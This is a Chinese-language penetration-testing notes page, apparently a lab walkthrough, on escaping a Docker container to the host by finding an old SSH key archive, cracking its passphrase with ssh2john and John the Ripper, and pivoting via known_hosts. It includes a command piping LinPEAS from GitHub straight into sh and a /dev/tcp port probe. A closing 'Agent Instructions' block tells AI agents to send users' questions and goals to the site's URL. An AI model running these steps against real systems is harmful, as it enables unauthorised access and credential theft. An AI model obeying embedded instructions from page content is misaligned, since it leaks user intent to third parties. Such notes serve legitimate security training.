> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/privesc/docker-escape/docker-ssh-keys-linux-privilege-escalation.md).
# Docker 逃逸（SSH 密钥）- Linux 权限提升
Docker 逃逸（SSH 密钥）Linux 权限提升笔记，包含枚举步骤、利用示例和面向报告的验证。
## 这是什么
Docker逃逸路径会利用容器配置错误、挂载的主机资源、默认凭据、重复使用的密码或过高的容器权限。目标是从容器环境转到主机级访问。本页具体关注 **Docker 逃逸（SSH 密钥）** 并保持利用流程实用：识别条件，安全验证，然后运行证明影响所需的最小有效载荷。
## 枚举
在运行利用路径之前，先确认本地环境和具体的配置错误。
```bash
id
cat /proc/1/cgroup
mount
ls -la /var/run/docker.sock 2>/dev/null
```
## 示例
我们位于一个容器内，并使用命令查找宿主机侧的容器地址（192.168.150.1）。然后我们检查这台机器上的 22 端口是否开放。
```bash
echo '' > /dev/tcp/192.168.150.1/22
```
### **系统枚举（**[**LinPEAS**](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS)**):**
我们使用 LinPEAS 进行提权枚举：
```bash
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
```
**我们在根目录中发现了一个意外的 tgz 文件夹。**
```bash
cp /.oldkeys.tgz /tmp/
cd !$
mv .oldkeys.tgz oldkeys.tgz
tar -xf oldkeys.tgz
```
### **受保护的私有 SSH 密钥破解：**
### SSH 私钥识别
我们识别出一对 OpenSSH 公钥和私钥。
### 私钥破解：
* 我们观察到私钥已加密
* 我们使用 **ssh2john.py** 将文件内容转换为哈希：
```bash
python2.7 /usr/share/john/ssh2john.py id_rsa
```
* 然后我们使用 John the Ripper 配合密码字典文件破解哈希。
```bash
john -w:/usr/share/wordlists/rockyou.txt hash
```
### 以 root 身份访问：
我们以 root 身份获得了对这台机器的访问权限。
### **利用 SSH 密钥信任机制逃出容器：**
使用 `known_hosts` 容器 SSH 目录中的配置跳转到另一台机器，从而让我们能够连接到宿主机上的管理员用户。
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/zh/privesc/docker-escape/docker-ssh-keys-linux-privilege-escalation.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)